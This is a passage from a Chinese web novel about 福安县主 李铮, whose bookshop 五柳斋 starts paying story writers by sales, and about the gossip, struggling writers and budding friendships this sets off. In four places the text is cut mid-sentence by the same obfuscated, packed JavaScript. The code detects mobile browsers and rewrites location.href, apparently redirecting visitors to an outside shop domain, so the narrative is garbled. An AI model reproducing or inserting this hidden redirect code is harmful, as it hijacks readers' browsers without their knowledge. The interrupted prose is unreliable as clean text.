“爹，你知道五柳斋在哪儿吗，要不咱们去五柳斋问问看，要是真的，以后咱家说不准就能想吃肉就吃肉了；冬天想烧炭就烧炭；平日想买书就买书。” ----------------- 书院里消息也慢慢传开了。 不少角落里，几个学子聚在一起：“你们听说了没，五柳斋的话本，要改成提成制了，写得越多，提得越多。” “写话本，难登大雅之堂，好心劝你们，背书习字才是正道——” 一听这话，有想投稿的人就不乐意了：“那你怎么还出去玩乐呢，再说了，谁没私下看过话本。” “哪有人能一天从早学到晚，我觉得利用休息时间写写话本挺好的，还能补贴些家用。” ----------------- 某宅院。 “大娘子，这两天有个新鲜事儿。福安县主的书斋，就是那个叫五柳斋的，把话本改成了那什么提成制，听说不少书生都愿意去投稿。说不准您以后，就有数不清的话本看了。” “她竟能开话本铺子。真不错。” “羡慕不来啊——”叹了口气，看了看镜中的自己：“回来他们铺子出了新话本，记得买来给我。“ ----------------- 某宴会。 一丰腴妇人手拿团扇，轻轻掩脸道：“听说这福安县主最近一心在忙话本呢。” 有人起了话头，其他人便开始七嘴八舌起来。 “她今年十六了吧，定亲了吗？” “没听说呀，不过我家二郎肯定是不愿意的。”一妇人撇了撇嘴说道。 旁边有人听不下去了：“福安县主，那可是安郡王的女儿，他们夫妻两人出了名的疼孩子，只有她挑别人的份，哪有别人挑她的理——再说了，她肯定是看不上你家的。” 偏远处旁边一人见状也跟着说，“她要是能看上我们家，我家的几个孩子都随她挑。” 众人一听纷纷捂嘴偷笑。 “也不知她以后会找个什么夫婿。” “我看你们都纯粹想太多，有这时间还不如想想，新话本什么时候才能出来，到底好不好看。” ----------------- 总之城里的话本圈子，一时热闹非凡。有才华的，没才华的都想来试试。大家都觉得，说不准这下一本热销的就是自己的了。 说不想一夜成名，一夜暴富呢。 比起话本圈的热闹，李铮的生活就比较平静了。 现下金竹每天都会收集外面的情况，除了书铺的进展，其他觉得有意思的消息他也会讲。 最开始他只是顺口提了一两句某某买古画被诈骗；某某娘子去世不足一月就飞快娶妻。讲完见李铮感兴趣，便开始留意收集。 除了金竹收集的消息，时不时李铮也会去茶馆自己看。 这天李铮兴致来了，想起来前两天云秀和宝珠邀她见面叙话，便让丫鬟带信，约了下午一起去茶馆。 张宝珠是李铮舅舅家同龄的表姐，顺安伯府的，两人年纪相仿。 宝珠玩伴多，总能知道很多小道消息。李铮呢，喜欢听故事，听到兴奋处还会手舞足蹈，而且她嘴巴严， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062436|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只听不往外说。所以两人一拍即合关系最是要好。 赵云秀和宝珠、李铮她俩认识，很是偶然。本来她们的圈子是不怎么重叠的。李铮和宝珠主要在勋贵圈，而且两人都活泼爱玩，圈子里的小伙伴也都偏活泼。 赵云秀则不同，父亲是正四品户部侍郎，她是文官家的姑娘，性格有些文静，非常爱看书。 不过她最佩服李铮，去年有天，李铮和宝珠一起去逛首饰铺，正好碰到有人责怪赵云秀和她穿了同样的衣服，赵云秀脸皮薄，不知道怎么回，还是李铮替她解围。 在赵云秀的眼里，是李铮拔刀相助，用犀利的语言，震慑住了对方，拯救她于水火之中。 当时那位小娘子和云秀在楼下对峙，她和宝珠在楼上雅间里看首饰，本来没注意到楼下的情况，随着声音渐渐变大，她们便出来看热闹。 听了片刻，明白过来原因，李铮便看不下去了，对着那小娘子道：“衣服是给人穿的，大家长相各有千秋，为何不能穿同样的衣服。再说了，没人规定不能穿同样的衣服，铺子也不是你家的。” “而且我就喜欢和我表姐扎同样的发髻，穿同样的衣裳，然后一起出去逛瓦舍。多有意思啊一看就知道我们是姐妹。” 想了想，李铮又继续说：“你要实在不喜欢，你就自己少出门，毕竟出门在外，偶尔撞衫在所难免。你只能管得了自己，哪里管得了别人。” “再不行你要去哪个宴会，你就提前写帖子说好你要穿什么，让别人避开，不过大家会不会说你霸道，我就不清楚了。” 说到这李铮还冒出了同色衣裳聚会的想法，她觉得这想法好极了，便现场开始组局：“过几天，学堂放假那天，大家应该都没课了，我打算在瑞景园办个赏春宴，今天在场的都可以来，我就不再单独下帖子了。” “不过要来的话须得穿绿色衣衫，比如青绿，豆绿，竹青，草绿，反正只要跟绿色搭边儿就行，到时我再喊个女画师专门来画像，大家可以一起放风筝，荡秋千。我家最近还新制了风筝，是条活灵活现的金鱼，颜色也极鲜艳。” 在场不少小娘子都知道李铮，平日京城的宴会，单纯玩乐的很少。不少宴会都有长辈在，玩得不够尽兴。 于是她们兴冲冲地开始交流，有问人数的，有问具体时间的，气氛总算缓和了下来，和云秀起争执的那位小娘子，也结结巴巴地和云秀道了歉。 过了几天云秀还专门和母亲一起上门，带了礼物到安王府向李铮道谢。一来二去三人就慢慢熟起来了。 李铮从她那知道了不少好看的游记，有好几本都是她家的私藏，外面根本买不到。李铮知道后可惜极了。 相处时间长了，便也知道云秀只是看着文静，实际生气处也会骂人呢，只是有时嘴拙，一时没反应过来罢了。 之后三人便经常隔三岔五一起出去，这次约好都穿红色衣裳，扎双丫髻；下次便穿黄色衣裳，扎小盘髻。三人还会一起聊某某大臣家的八卦，聊谁家的小郎君好看，总之日子过得快乐极了。 9. 茶馆见闻 李铮到雅间时，宝珠和云秀已经到了。 守门的是宝珠身边的大丫鬟翠云，见她上来，连忙一边开门，一边问好：“给县主请安。” “咦。”李铮：“怎么今日是你守门，不是底下的小丫鬟。” 翠云笑着答道：“大娘子和云秀娘子，刚打赌你穿的衣服颜色。特意让我出来守着。” 听完，李铮就迫不及待走进去。一边走一边说：“我今日是绛红色的，你们两个是谁赢了，怎么赌的，快说给我听听。” 进来看到两人表情，李铮就明白了：“看来是云秀赢了。” 宝珠兴致勃勃地说道：“阿秀到底是怎么猜到的！我猜黄色，她猜红色；我俩打赌，输了的人要请对方喝茶。你们放心，这个月月钱我还剩不少，今日我请客。” 云秀掩唇淡笑不语。 宝珠回过神来，开始对李铮说道：“大忙人阿铮终于来了，你都忙得顾不上找我和云秀玩了。你不知道，最近我见的人，就没有一个不提你的。” 云秀没惊呼，但也点头表示赞同。 李铮连忙求饶：“这不是一得空，马上就来见你们了吗。快来说说，他们都说我什么了。” 宝珠：“你放心，说酸话被我听到的，都被我怼回去了。阿秀虽然不像我直接骂，但你知道的，她现在会一本正经的噎人，可好玩了。” “至于说好话的，那可就太多了。她们也都看腻了现在的话本，都说等你出了新话本，一定会买来看呢。” 一提到有人说酸话，李铮还没气，她就气了：“那个说酸话的，就是去年欺负云秀的王珍，她可烦人了，还霸道的很。你们说，怎么会有这么不讨喜的小娘子。” 云秀淡淡地说道：“听说她很快就要定亲了，是和吏部张大人家的郎君，据说那郎君个子不高，还喜欢拈花惹草。” 宝珠和李铮一起惊呼：“这你都知道！” 云秀淡笑：“多观察就知道了。” 李铮：“王珍是有些霸道，但是那郎君也太差劲了。她都这么霸道了，怎么不反抗呢。” 宝珠：“应该是反抗没有用吧，所以她才老说酸话，言语攻击别人。” 李铮叹了口气：“那以后再碰面，她要是不主动找事，我就不找她算旧账了。现在咱们三个就别提她了。” 想到自己的书铺，李铮就忍不住带着笑，朗声说道：“等新话本出来，你们放心，我一定第一时间送你们看，保管合你们的胃口，不好看的我不会刊刻。保不齐，到时候还要你们帮忙宣传。” 李铮：“不过现在是打探消息的多，真正来投话本的不多。写话本需要时间，再加上选稿，估计还要一段时间，才能刊刻。” 云秀：“阿铮，你们都收什么样的话本呀，我最近认识的一个朋友，她也想投。” “咦——”李铮很是惊讶：“你的朋友吗，她想写什么类型的。” 云秀：“想写女侠去江湖行侠仗义的，她平日里喜欢戏文里的女将军。因为戏文里没有女侠，所以就打算自己写。” 李铮：“类型没什么限制，只要好看就行，无论是谁想投都可以投的。” 云秀听完声音都比平时大了些：“那就太好了，说不准以后我们还能看到她写的女侠故事。你们知道的，写话本的男子居多，根本没人写女侠故事。” 宝珠看她俩聊差不多了，转身开始正对李铮，面无表情：“阿铮，快从实招来，你前两天信里说提到的，有人借你话本怎么回事。你是不是瞒着我们交了新朋友。” 李铮被宝珠的面无表情逗笑了：“就是之前学院的同窗，我托赵夫子介绍的，当时想找个有才华的帮忙审话本，就想到他了。你们应该都听过的，陆祈。” 宝珠疑惑道：“你说的是那个过目不忘的神童？长得还挺俊朗，之前我喊你去看，你沉迷话本不愿去的那个？” “就是他。“李铮有点惊讶：“不过阿珠你记得可真清楚啊，都好久的事情了。” 宝珠气鼓鼓说道：“那是肯定的，当时我兴致冲冲喊你，你光顾着看话本，头都不抬呢。” 李铮连忙求饶。 云秀有点疑惑，在旁边小声道：“不过他家也没这么缺钱吧，我记得他父亲是国子监司业，虽说没什么油水，但也有祖产？” 李铮：“可能他就喜欢看？” 宝珠是一点没多想，云秀还有些疑惑，但是看李铮这么坦荡，也不再多说什么了。 李铮：“不聊他了，快来看我给你们带的话本，都是从他那借的，不方便让你们带回家，但是在这里看还是可以的。这几本都是我非常喜欢的。” 两人听后纷纷表示自己下次也会带着爱看的话本来，这样她们仨就可以换着看了。 正专心看着话本，忽然听到楼下有人大声说道：“有几个读书人会写话本，那都是没出息的人才会干的。我是宁愿闲在家中也不会去写的，上不了大雅之堂。” 边上还有两三个男子笑着附和。 三人听到都有些生气。也顾不上看书了，让丫鬟将雅间门打开。 起身刚走到门口，就听到一老年男子气愤说道：“你为何看不起写话本的，我这些年都是靠写话本养活我孙儿，我没偷没抢。” “你心里看不起就算了，为何还要在茶馆口出狂言，大家养家糊口都不容易。不少人都喜欢看话本打发时间，我们也是有用的。” 他又摸了摸边上男童的头，声音有些低下去了：“你嫌写话本上不了大雅之堂，可是有多少人能考取功名当上官。我不偷不抢，写话本谋生，总比那些天天在家自怨自艾的强。而且难道是我不想去当官吗？” 另一男子听完，可能很是感同身受，声音都有些抖了：“科考苦啊，十年寒窗苦读，可能连个秀才功名都考不上。我只盼着以后写话本能被视为正经活计，这样读书识字的人也能多个出路，尤其是对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062437|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们这些没什么科举天分的人来说。” 一时间周围的人都有些唏嘘。 那几个年轻男子，可能也没想到今日说几句闲话，还能被人当众顶回来。往日他们来茶馆说个痛快都没几个人吱声的。但见周围气氛不妙，几人也不敢再多说话，连忙道歉灰溜溜地走了。 老年男子说完，感觉自己心里舒服了好多。家里目前只剩自己和孙子，儿子儿媳还有老伴全都因为生病不治走了。自己太老，孙子太小，干不了种田的活，还好自己以前上过学堂，认识字，虽说没有功名，但是还可以靠写话本为生。 这些年可能因为见的事情多，他还是写出了好些本销量不错的话本的。当然因为都是买断制，这跟他也没太大关系。正好前两天坊里的里正听说了五柳斋的事情，知道他靠写话本养活孙子，特意来告诉他。 今天他一得空便来打探消息，还捎带上了孙子，想着让他多见见世面。没想到进茶馆没多久，这几人便开始口出狂言。 本来想装作听不见，忍忍算了，但一想到自己还打算去五柳斋投稿，现在不站出来，回来万一传到书铺；再或者一时没人传，但是之后看自己挣钱心生嫉妒去告诉掌柜，岂不是误了自家的营生。大庭广众之下，想必这几人也不能怎么着自己。 说出来之后，这心里真是舒服多了。 找茬的几名男子走后，茶馆又重新热闹起来了。 “听说这五柳斋润笔费要改了，有谁去问过五柳斋吗？” “有没有去过的来说说，到底什么情况。” “我去问过，确实是改成提成制了，每卖一本就多拿一份钱，不过他们对话本的要求肯定高，毕竟那么多人投。也不知道回来我投的能不能中。” “兄台，你是已经投了吗？” “我还没投呢，还在改稿子，这不是想着写好点再投吗，也给他们留个好印象。” “我也想投，最近手头紧，可是没写过怎么办。有没有写过的愿意指导指导我。” “你就先随便写试试呗，本钱就是笔墨纸砚，大不了五柳斋不收，你再投别家。” “那不行，投别家我不就亏了吗。” 周围人一听都忍不住笑了：“八字还没一撇呢，你都还没开始写，还是别想那么多了。” 又看向老翁：“老丈，你刚说自己靠写话本为生，可还有经验传授给我们。你肯定是写话本的大家了。” “不敢当，不敢当，老朽也只是比诸位多写了几年而已，侥幸写过几本畅销话本，可惜了当时书铺都是买断制，要不然也能多挣不少。” “以后就有机会了，你经验比我们多，肯定通过的可能性大，再说了五柳斋又没限定数量，肯定是写得好的都愿意收。” 众人越聊越开心，祖孙俩还有事，就先离开了，不过临走前留了话有事可以通过五柳斋联系，说不准以后就都是写话本的同行了，互相还能交流交流经验。 10. 千里马—孙才人 一场热闹看完了，三人也回了雅间。李铮有些没想到，自己的小举动竟能对别人产生这么大的影响，能直接改变这祖孙俩的生活。 一时间三人都没说话。 过了会，云秀突然出声了：“阿铮，你真厉害，敢想敢做，我也想成为像你这样的人。” 宝珠：“我也是！可是我想不出自己能做什么。” 李铮被两人说得都有些害羞了：“也没有那么厉害啦，最开始我只是想着自己能有话本看，慢慢地就变成现在这样了。你们两个肯定也可以的。多尝试就好了。” “什么时候都不会晚，我阿娘爱琢磨衣裳样子，我们家的裁缝铺就是因为这才生意好的。” “嗯嗯。”两人都重重点头，能有这样的朋友，真好啊。 散场后，李铮又拐去了书铺。她想着，待会儿要是在书铺碰到了那对祖孙，还能给个惊喜。告诉他自己方才都看见了，谢谢他站出来。 书铺里今日人多了些，看来前几天铺子的宣传还是有作用的。 一进书铺，李铮就看到一楼只有桂丫在，张大掌柜可能忙别的去了。至于张大娘子，估计在二楼忙活呢。她的工作需要安静，一楼经常人来人往，所以基本上不下来。 “给县主请安。”两人一到二楼，桂丫就忍不住开口说道：“县主，这两天来铺子里的人多不少呢，有些进来就问我们新话本的进度，知道现在还没出来，有的人还会买之前出的老的。” 李铮听后笑着说道：“不错，以后肯定会卖得越来越好的。有人来问，就算不买，也要好好招待。我去买东西，最讨厌的就是态度不好，哪怕是对着旁人也不行。一点也不赏心悦目。” 桂丫：“县主放心，我们都知道的，就算是买不起书的人，只要不把书弄脏，我们都是随便他们逛的。说不准以后就买得起了。” 李铮：“你们做得很好，以后也要这样，店里的伙计也要像你们一样。” 桂丫连连点头应是，一想到县主也讨厌态度不好的人，她就开心，她和县主一样呢，县主真好。 差点忘了自己是来做什么的，李铮看向桂丫：“对了桂丫，方才进店的人里，可有一对祖孙。老翁头发花白，是写话本的。小孩看起来七八岁。” 桂丫回忆了下前不久进来的人：“县主说的是衣服有些破旧的一对祖孙吗，他们刚进来没多久，这会儿正跟我爹聊着呢。” 李铮：“最近来投稿的人多吗，有没有看到什么还可以的稿子？还有就是，来打听消息的人里面，没经验的大概多少人，有经验的大概多少人。一定要做到心中有数。” 桂丫：“每天大概几十个吧，多少不等。没经验的还不少呢，都是知道我们润笔费新算法后有的念头，县主肯定想不到，现在也有女娘来问了，不过基本都是中年了，年轻小娘子小郎君很少。” 李铮：“正常，这个年龄，有些连话本都看得不多，更别说写话本了。” 桂丫：“是呢，只要是有人来问，就算是小娘子，我也都介绍了一番。就算现在写不出来，说不准以后就可以了。” “不错。”李铮满意地看向桂丫：“就是要这么做。好好干，说不准以后你就是我铺子里的大掌柜了，和你爹现在一样。” 桂丫激动坏了，她没想到县主这么看好她：“县主放心，我一定会好好干的。” 两人正说这话，张大掌柜和那老丈终于出来了。看到李铮，张大掌柜连忙请安。今日他想着这老丈写话本经验丰富，特意去了雅间细聊。没想到一出来就看到李铮了。 这老丈一听是县主，也连忙低头请安。 张大掌柜看李铮有和这老丈沟通的意思，连忙介绍道：“县主，这是来问话本情况的话本才人，孙才人之前写过不少畅销的话本。” 给李铮介绍完，他又对着这老丈说：“孙才人，这是我们店里的主家，福安县主。最近的润笔费就是县主的主意。” 孙才人有些惊讶地连忙道谢。他实在没想到竟然是李铮要改的。 李铮笑了笑，看向这老丈：“我们各司其职，不必道谢。我也是为了自己能有好话本儿看。” “我们刚才其实在茶馆见过，只是你没看到我。刚才在茶馆，多谢你仗义执言，站出来了。” 孙才人大吃一惊，连忙行礼：“刚才县主您竟也在，真是万万没想到！失礼失礼。”悄悄用手拍了拍自己，万幸万幸，还好自己刚才在茶馆站出来说话了。要不然岂不是一见面就留个不好的印象。 李铮：“不用多礼，我当时并未露面。你目前写了多少话本了，有没有什么畅销的。” “老朽写过大几十本了，不过县主您不一定看过。我主要写断案类的。比如《xx探案记》” “咦——”李铮：“这本竟是你写的吗？我最近刚看过，一朋友给我推荐的，线索环环相扣，很是厉害。” “不敢当，不敢当。”孙才人可能没被这么直白地当面夸过，笑得很是不好意思。 李铮：“写话本儿你都是自己研究的，还是有人教。” 孙才人：“老朽年轻时的夫子教过一些怎么写故事，不过后来写话本是自己琢磨的。我也写过风月，不过不受欢迎，后来就专门写断案类的了。” “你的断案类话本儿确实不错。只要水平不下降，在我们这儿肯定能挣不少润笔费，到时候就能好好改善下你们家的生活了。” 李铮忽然想到，她还不知道孙才人写的快不快呢：“一个月，你大概能写多少？” 孙才人：“一个月基本上是一本。断案类话本要花时间布置线索，再加上也不是一直都能写得顺畅。” 李铮：“对了，你大概什么时候能来投稿。” 孙才人：“大概还要十来天，手上这本已经写了一半了。” “可以可以。”李铮对这个时间还算满意。“你有试过总结经验吗，刚才在茶馆里正好听到有人在问能否传授经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062438|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验，所以我就萌生了这个念头，是不是能试着开一些课，专门讲怎么把故事和话本写好。” “你不用面面俱到，只讲你擅长的断案类话本就行，不过不用着急，不是现在。” 孙才人脸上有些犹豫，写话本这东西可不是说教就教出来的。有些人就是写不好，他担心万一李铮再怪罪。而且教课还要占用自己写话本的时间。 李铮大概猜出了他的想法：“你放心，教不出来也不会怪罪你，只要是认真传授就行。我只是想着原来会写话本的人少，很多人想写，但是不知道怎么入门。” 李铮：“你开课，书铺会付你学费，所以不用担心教会徒弟饿死师傅，而且写话本这东西本来就看人，每个人悟到的东西不一样。更重要的是，名声打出去了，想必买书的人知道后也会觉得你厉害。” “不用着急现在做决定，只是说有意愿就先准备着，最早也是一两个月之后的事情了。我们也会去问别的话本才人。所以你不愿意也没事，不会影响你正常投话本。” 孙才人听后连连表示自己会好好考虑的。 送走孙才人祖孙后，李铮忽然想到一件事：“最近一直没什么话本投递，回头铺子外面加条告示，十五天之内，前十本被留用的，额外再付一笔钱，不用太多，只是催下他们，加把火。” 张大掌柜一听，眼前猛地一亮：“县主。您说的没错，我今天就去办。银钱的话，三百文如何？” “那些以往写得不错的人，若是我们能联系上，就单独给他们送个信。没经验的就不费这个功夫了。” “可以，就按你说的来。” “好嘞，我们待会儿就把铺子外面的告示加上。然后明天联系他们。” 事情聊得差不多，李铮也没多待，坐上马车就回家了。 夜里躺在床上，她终于想起被自己抛在脑后的事，一直说给陆祈回信还没回。 毕竟陆祈先前辛辛苦苦整理书单、整理感受、还借书给自己。结果自己这边是一点动静都没，实在说不过去。 正好明天没啥安排，要不就抽点时间写下看书后的感受吧。 正好，写完回信，再让阿娘看看怎么给谢礼合适。 次日清晨，李铮醒得比往常早些，想着要同阿娘说还礼的事，便径直去了饭厅，说不准还能赶上用早饭。 门口的丫鬟见到李铮进来，连忙给她打帘子。 李铮一进去，就开始拽着张氏的衣袖，一边晃一边撒娇：“阿娘早，你不知道我最近有多忙。” “我们阿铮最近可是个大忙人，名声大得很。最近在外参加聚会，时不时就能听到别人提你的书铺。好些人对你的话本感兴趣。” 弟弟李骁也在，听完就开始大夸：“阿姐，你真厉害。我的那些同学也都想看你出的话本呢！隔壁张涛答应到时候把他新买的蹴鞠球借我两天。” “那是，我这么厉害。你放心，回来一定第一时间给你们看。” 11. 回谢礼 “对了阿娘，我找了国子监的陆祈帮忙审稿。他有秀才功名，今年还要参加秋闱。因着他是小郎君，又是秀才，直接给钱不合适，娘，你帮我看看该怎么谢他。” 张氏：“你说的陆祈，是不是父亲是国子监司业？” 李铮点了点头：“没错，就是他。我见过他一面，长相还挺不错。” 张氏听到李铮的说法有些惊讶，但看李铮一脸坦荡，也没多说什么。“行，那这事儿你不用操心了，我明天就安排人送过去。” 她打算好好留意着，毕竟李铮也到了要说亲的年龄，确实该提前留意不错的小郎君了。省得都被别人抢走。 李铮一走，张氏就和奶娘赵嬷嬷聊起来了：“这陆祈，看起来还不错，就是门第低点。不过虽然国子监司业品级不高，但还算清贵。” “人口也简单，底下只有一个妹妹，年龄和阿铮差不多大。他母亲陈氏，之前我在宴会上见过，挺和善一个人。当时我正好远远经过，有个丫鬟踩到她，也没冲丫鬟发脾气，摆摆手就让走了。” 赵嬷嬷感受到了张氏的满意：“这陆家，听起来确实不错。” 张氏：“嬷嬷，谢礼还是你亲自去送吧，正好看看他家家风，别的嬷嬷我都不放心。待会你去库房挑一匹适合年轻姑娘穿的花罗，再加一块徽墨做谢礼。” 从陆家送完谢礼回来，赵嬷嬷没歇息，就去了张氏面前回话。 “夫人，陆家环境雅致，院子里的花草树木长势很好。引路的婆子，带路时一句闲话都没说。想必陈夫人管家有方，不是糊涂人。” “老奴今天只见到了陈夫人，没看到其他主子。一进去她就给看了座。说陆郎君经常帮助同窗，让我不必多挂心。” 张氏点了头，也没多说什么，就让赵嬷嬷下去歇息了。 ----------------- 陆家，赵嬷嬷一走，陈氏就让人喊了陆祈的老仆过来。院子里正晒太阳的陆晴听到，也跟了过来。 陈氏：“张伯，刚才安王府的赵嬷嬷来送谢礼，我是一头雾水。她是安王妃的奶嬷嬷，怎么会特意来我们家。你知道阿祈是帮了什么忙吗，怎么没听他提过。” “福安县主我倒是知道，一个很活泼的女娘，长得好看极了。阿晴跟她的性子就很像，喜欢玩乐。” 张伯：“最近热热闹闹的五柳斋就是福安县主的铺子，郎君帮着审过稿子。其他我就不太清楚了。” “原来是五柳斋啊！她可真厉害。”陆晴惊喜地说道：“那过段时间我们就能看上新话本了。” 她开始冲陈氏撒娇：“娘，我们家一定记得买。好看的话本根本不够看。” 陈氏听了她的话，忍不住笑着用手点了点她的头。“放心，肯定给你买来。不过你这光看话本怎么办？” 陆晴不依，扑到陈氏怀里：“娘，我哪里有光看话本，我都是忙完正事，闲了才看，这叫劳逸结合。再说了，娘你自己也看呢。” 陈氏被她逗得忍俊不禁，只好拍了拍陆晴的背：“你呀——都是你的道理。” 陆晴：“这都是娘教的好！” 陈氏：“你这样婚后怎么办。” 陆晴：“讲得通道理就讲，讲不通就自己过，把心放自己身上。不过娘你放心，我在外面肯定不会这么说的，我只和你说。” “我在外面肯定是端庄懂事。”说完自己都忍不住笑了出来。 陈氏越听越哭笑不得，最后两人笑作一团。 ----------------- 李铮从张氏那离开后，先回了自己的院子，她打算整理下看话本时的感受，当然她肯定不会像陆祈一样，写那么多字。 必须先提孙才人的探案话本，构思巧妙不说，她昨天还见了作者本人，是个头发花白的老丈。 还有那本介绍各地特色食物的也不错，怎么那么会形容，一看文字就觉得馋了。李铮很想把这个话本的作者揽到铺子里，这样以后让其点评一圈城里的美食，自己再跟着点评去吃，肯定非常有趣。 剩下的几本游记也不错，都是李铮没去过的地方，而且不少都在诗里、书里见过。 没被提到的几本，也还行，但是相比李铮特别喜欢的那几本，就有些逊色了。 写好信正准备出门，有个丫鬟突然来了，说张氏喊她去花厅，有个远方亲戚，特意为了五柳斋来的。 因着关系比较远，李铮甚至都搞不清楚他到底是什么辈分。 一进来，她就看到一对站得有些拘谨的夫妇，衣服有些旧，书卷气很浓。“你们找我是有何事？” 一旁的娘子说话了：“给县主请安。这次来是想问五柳斋投稿，有什么限制吗？我们两个平日最爱看书，因为买书是笔挺大的开销，所以也会写些话本补贴家用。这次来也带了几本之前写的。” “没什么限制。你们原本写什么类型。” “都写，主要看书铺想要什么类型。” “那你们可以先写，写好直接投到书铺就行。现在什么类型都收，只要写得好看。” 等他们走了之后，李铮问张氏了：“书铺就在那里，为何还特意来走一趟？” 张氏：“他们今日露面，是来混个脸熟，等你要用人，自然就容易想起他们。比如过段时间，选上的话本没有他们的，你是不是会问问看怎么回事，是没写，还是写得不行。” “他们今日来，也不是有什么坏心，只是他们挣钱的法子少，所以看你的书铺改了法子，自己又正好会写话本，就来混个脸熟了。” “你是县主，可以不用考虑那么多，谁的话本好看，你看谁的就行。” “大概知道怎么回事，不会被骗就行” 李铮觉得很有道理，连连点头。她只是没想到书铺的小改动，就引得这远房亲戚上门拜访。 这回离开花厅后，李铮没多休息，就坐上马车出门了。 外面的街巷，一如既往的热闹，时不时还能听到叫卖声。 到了书院。李铮就随意逛着，还让仆人等下课后把陆祈喊来。 陆祈听到李铮要找他还有些惊奇，难道是热销话本的点评出问题了，还是说有新的话本儿需要审。 这次见面是在书院的藤架附近。 “给县主请安。”陆祈一过来就看李铮穿着粉色衣衫，坐在藤萝树下。 “你来啦，不必多礼。还没谢你上次帮忙呢。这次来一是想跟你说，上次给热销话本写的点评，和书铺张娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062439|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的比对过了，大差不差。之前还有些担心她的水平，现在可以放下心了。” “二是之前借你的书，都已看完，可以物归原主了。我还写了感受，只是没你写的详细。” 说着就把袖里的书信掏了出来，递给陆祈。 “本来是要仆人送的，正好今日无事，还想当面说声谢，所以我就亲自过来了。” 陆祈接过信，没直接拆，停顿了会，把信揣进了怀里。“区区小事不足挂齿，我平日也常帮同窗看文章。” 顿了下，他换了个话题：“最近时不时能听到县主书铺的消息，不少同窗也都听过。县主的书铺现在如何了，可还需要书生去投稿？” “只要话本写得好，随时都可以来投。现在我们还没确定最终印哪本。书铺张娘子正在筛第一轮，初筛过后，还要麻烦你帮忙二筛。不过你放心，不会占用你太长时间，我们已经在准备招人了。” 陆祈看向李铮：“那就好，有帮得上忙的地方，县主随时开口就行。” “我相信，县主的话本一定会卖得很好。知道你们润笔费的新算法之后，有些家境不太好的同窗，都有写话本的想法了。他们有才学，会写文章，但是之前收益太低了，想要补贴家用，就要花大量时间在上面，容易影响学业。” “现在一切都不一样了。那些不擅长科举，擅长写故事的人，也有了新出路。县主的书铺，帮到了很多人呢。” 李铮抬头看向了陆祈：“我也不是谁写话本就收的。我付钱，他们写话本。我并没有亏什么。” 看着李铮，陆祈温和地笑了，没再多说什么。如果都像李铮这么想，普通老百姓过得肯定比现在好多了。 见他笑，李铮也跟着笑了。 ----------------- 陆祈从怀里掏出信，又放了回去，还是晚上到家中再看吧。 晚饭后，陆祈正准备起身离开，便被陈氏喊住了。“阿祈，你和福安县主怎么回事？今天他们府上的嬷嬷，来送谢礼。” “学堂赵夫子帮忙介绍的，县主的书铺，需要帮个小忙。娘你不用费心，我会自己看着安排。他们府上送来的东西，娘你该用用。” 陈氏听了没再多说什么，她对陆祈向来放心。而且安王府的名声也还行，虽然安王只挂了个虚职，但是勋贵本来也不靠这个。府上两个孩子，只听说活泼爱玩乐，没听说其他乱七八糟的。“那这块徽墨，你就拿去用吧；另外一匹花罗，一看就是给你妹妹准备的。” 陆祈看向陈氏：“娘你看着安排就行。” 终于到了自己书房，从怀里掏出书信，信纸还有些温热，不厚，大概两三页纸。 字比自己想象中的要好，看来虽然外面都传福安县主爱玩乐，但是基础作业肯定还是都完成了。 信里没有太多寒暄，上来就说她见到了《xx探案记》的作者问渠居士，那是个花白老丈，还畅想他以后能带出一帮徒子徒孙来。 讲吃喝的话本，果然深得县主喜欢，甚至都想让作者来京城。 游记评价也不错。剩下几本评价就中规中矩了。 信不长，陆祈一会儿功夫就看完了。又盯着信纸看了片刻，终于把信收起，放进木匣。 12. 黑狗妖和好官 五柳斋内，虽然这几日热热闹闹，但写话本需要时间，所以目前来铺子打探消息的多，真正把话本送过来的少。 张娘子心里有些急，她来了好几天了，但是真正为书铺做的事情不多，没什么用武之地。眼看着张大掌柜和十来岁的桂丫，把店铺经营得越来越热闹，她是越来越着急。 